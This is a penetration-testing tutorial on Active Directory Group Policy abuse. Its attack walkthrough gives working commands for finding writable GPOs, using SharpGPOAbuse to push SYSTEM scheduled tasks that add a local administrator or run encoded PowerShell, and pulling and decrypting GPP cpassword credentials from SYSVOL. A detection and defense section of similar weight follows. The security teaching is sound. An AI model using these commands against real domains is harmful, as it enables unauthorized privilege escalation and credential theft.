Disclaimer. This article is written for educational purposes and for authorized penetration testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Abusing Group Policy in a production Active Directory environment you are not authorized to assess is illegal and unethical.
Introduction
Group Policy is the backbone of centralized configuration in Active Directory (AD). A single Group Policy Object (GPO) can push registry settings, scripts, scheduled tasks, and security policies to thousands of machines. That power makes GPOs a prime target: if you can edit a GPO that is linked to an Organizational Unit (OU) containing privileged machines, you can effectively run code as SYSTEM on every host in scope.
In this article you'll learn how GPO permissions are abused, how to enumerate writable GPOs, how to weaponize one with SharpGPOAbuse, how the legacy GPP cpassword flaw still yields credentials today, and — given equal weight — how blue teams detect and prevent all of it. If you are new to AD attack paths, it pairs well with my notes on Kerberoasting and ACL-based privilege escalation.
How It Works
Every GPO lives in two places: an object in the directory under CN=Policies,CN=System,DC=..., and a folder in SYSVOL (\\<domain>\SYSVOL\<domain>\Policies\{GUID}) that holds the actual policy files (GptTmpl.inf, ScheduledTasks.xml, etc.).
Two misconfigurations make GPOs dangerous:
-
Editable GPO ACLs. If a non-privileged principal holds
WriteDACL,WriteOwner,GpoEditDeleteModifySecurity, or generic write over a GPO, they can modify its contents. The next timegpupdateruns (default refresh ~90 minutes) the change is applied to every targeted computer — typically asNT AUTHORITY\SYSTEMfor machine policy. -
GPP cpassword. Group Policy Preferences (GPP) historically allowed admins to set local account passwords. The password was AES-encrypted in
Groups.xml, but Microsoft published the static AES key (MS14-025 / CVE-2014-1812). Anyone who can read SYSVOL can decrypt it.
The classic weaponization path is an immediate scheduled task GPO: SharpGPOAbuse writes a ScheduledTasks.xml that runs a command on next policy refresh.
Prerequisites / Lab Setup
- A domain-joined Windows attack box or Linux box with
bloodhound-python/impacket. - A low-privileged domain user who (per your engagement) holds write rights over a GPO.
- A lab DC (
Server 2019/2022) with at least one GPO linked to an OU containing a target workstation.
Build BloodHound data and look for the GenericWrite, WriteDacl, or WriteOwner edges pointing at GPO nodes — the BloodHound query "Find GPOs that can be modified by non-admins" surfaces them directly.
Attack Walkthrough
Step 1 — Enumerate writable GPOs
From a Linux box, collect with BloodHound and look at GPO control edges:
bloodhound-python -u lowpriv -p 'Password123!' -d corp.local \
-ns 10.10.10.10 -c All --zip
From Windows, PowerView shows the same relationships:
Import-Module .\PowerView.ps1
# GPOs the current user can modify
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
? { $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|WriteDacl' -and
$_.SecurityIdentifier -match (Get-DomainUser lowpriv).objectsid } |
Select ObjectDN, ActiveDirectoryRights
Map a GPO to the computers it affects so you know your blast radius:
Get-DomainGPO -Identity 'VulnGPO' | Select displayname, gpcfilesyspath
Get-DomainOU -GPLink '{GUID}' | Get-DomainComputer | Select dnshostname
Step 2 — Weaponize with SharpGPOAbuse
SharpGPOAbuse writes the malicious policy file and updates the GPO version so clients pull the change. Add a local admin via an immediate scheduled task that runs as SYSTEM on every targeted host:
# Create an immediate task that adds a local administrator
SharpGPOAbuse.exe --AddComputerTask `
--TaskName "Update" `
--Author "CORP\Administrator" `
--Command "cmd.exe" `
--Arguments "/c net localgroup administrators corp\lowpriv /add" `
--GPOName "VulnGPO"
Other useful primitives the same tool exposes:
# Grant a user the SeDebugPrivilege / logon rights via User Rights Assignment
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege" `
--UserAccount "corp\lowpriv" --GPOName "VulnGPO"
# Add a per-user immediate task instead of a computer task
SharpGPOAbuse.exe --AddUserTask --TaskName "Run" --Author "CORP\Administrator" `
--Command "powershell.exe" --Arguments "-enc <base64>" --GPOName "VulnGPO"
Step 3 — Trigger and collect
Wait for the background refresh, or force it on a target you can already touch:
gpupdate /force
Once the task fires, corp\lowpriv is a local administrator on every affected machine — straightforward lateral movement via SMB/WinRM. Clean up afterwards by removing the injected ScheduledTasks.xml and reverting the GPO version number.
Step 4 — Loot GPP cpassword (the legacy path)
Even without write access, search SYSVOL for stored preference passwords:
# Linux / impacket-style grab of any cpassword in SYSVOL
crackmapexec smb 10.10.10.10 -u lowpriv -p 'Password123!' -M gpp_password
# Windows: findstr across SYSVOL, then decrypt
findstr /S /I cpassword \\corp.local\sysvol\corp.local\policies\*.xml
# Decrypt with PowerSploit's helper (or gpp-decrypt on Kali)
Get-GPPPassword
gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
# -> Local*P4ssword!
Any account whose AES-encrypted cpassword you recover is instantly usable — frequently a local admin reused across the estate.
Attack Flow

The diagram shows two paths from a low-privileged user to lateral movement: editing a GPO to run code as SYSTEM, or decrypting a GPP cpassword from SYSVOL.
Detection & Defense (Blue Team)
GPO abuse is loud if you are watching the right places. Treat detection and prevention as equal partners to the offense above.
Lock down GPO permissions.
- Audit who can edit each GPO. In production, only Tier-0 admins should hold edit rights. Use the Group Policy Management Console (GPMC) Delegation tab and remove
Authenticated Users/ non-admin write entries. - Run a recurring sweep:
Get-GPO -All | ForEach-Object {
$g = $_
Get-GPPermission -Guid $g.Id -All |
Where-Object { $_.Permission -match 'Edit' -and
$_.Trustee.SidType -ne 'WellKnownGroup' } |
Select @{n='GPO';e={$g.DisplayName}}, @{n='Trustee';e={$_.Trustee.Name}}, Permission
}
Hunt the artifacts.
- Monitor SYSVOL for the creation of
ScheduledTasks.xml,Groups.xml, or changes toGptTmpl.inf. File-integrity monitoring on\\<dc>\SYSVOL\...\Policiesis high-signal — legitimate GPO edits are rare and change-controlled. - Alert on directory writes to GPO objects: Windows Event ID 5136 (a directory service object was modified) on
groupPolicyContainerobjects, and Event ID 4739 for changed domain policy. - On endpoints, Event ID 4698 (a scheduled task was created) firing right after a
gpupdateand creating a task named generically ("Update", "Run") is a strong indicator. Map this to MITRE ATT&CK T1484.001 (Group Policy Modification) and T1053.005 (Scheduled Task). - Watch for Event ID 4732 (member added to a local Administrators group) appearing fleet-wide in a short window — the signature of a malicious computer task.
Kill GPP cpassword for good.
- Install MS14-025, which prevents new cpassword values from being saved, and delete every existing
Groups.xml/Services.xml/Drives.xmlcontaining acpasswordattribute from SYSVOL — the patch does not remove old files.
Get-ChildItem \\corp.local\SYSVOL\corp.local\Policies -Recurse `
-Include *.xml | Select-String -Pattern cpassword
- Replace any local-admin password management with LAPS / Windows LAPS, which randomizes per-machine local admin passwords and stores them protected in AD.
Reduce blast radius. Enforce the tiered administration model so workstation GPOs cannot grant Domain Admin, enable gpupdate logging, and consider GPO change auditing tools (or native SACLs) that produce an immutable trail of who edited what.
Conclusion
GPOs concentrate enormous authority in a handful of directory objects and SYSVOL files. A single overly-permissive ACL turns a low-privileged user into SYSTEM across an OU, and decade-old GPP cpassword files still surface plaintext local-admin credentials on real engagements. Offensively, BloodHound plus SharpGPOAbuse makes the path almost mechanical. Defensively, the fixes are equally concrete: tighten GPO delegation, monitor SYSVOL and Event IDs 5136/4698/4732, patch MS14-025, and adopt LAPS. For more AD attack paths, see my write-ups on DCSync and replication abuse.
References
- MITRE ATT&CK — T1484.001 Group Policy Modification: https://attack.mitre.org/techniques/T1484/001/
- MITRE ATT&CK — T1053.005 Scheduled Task: https://attack.mitre.org/techniques/T1053/005/
- Microsoft MS14-025 / CVE-2014-1812 (GPP password vulnerability): https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025
- SharpGPOAbuse (WithSecure Labs): https://github.com/FSecureLABS/SharpGPOAbuse
- HackTricks — GPO abuse: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse
- Microsoft Windows LAPS documentation: https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview



Comments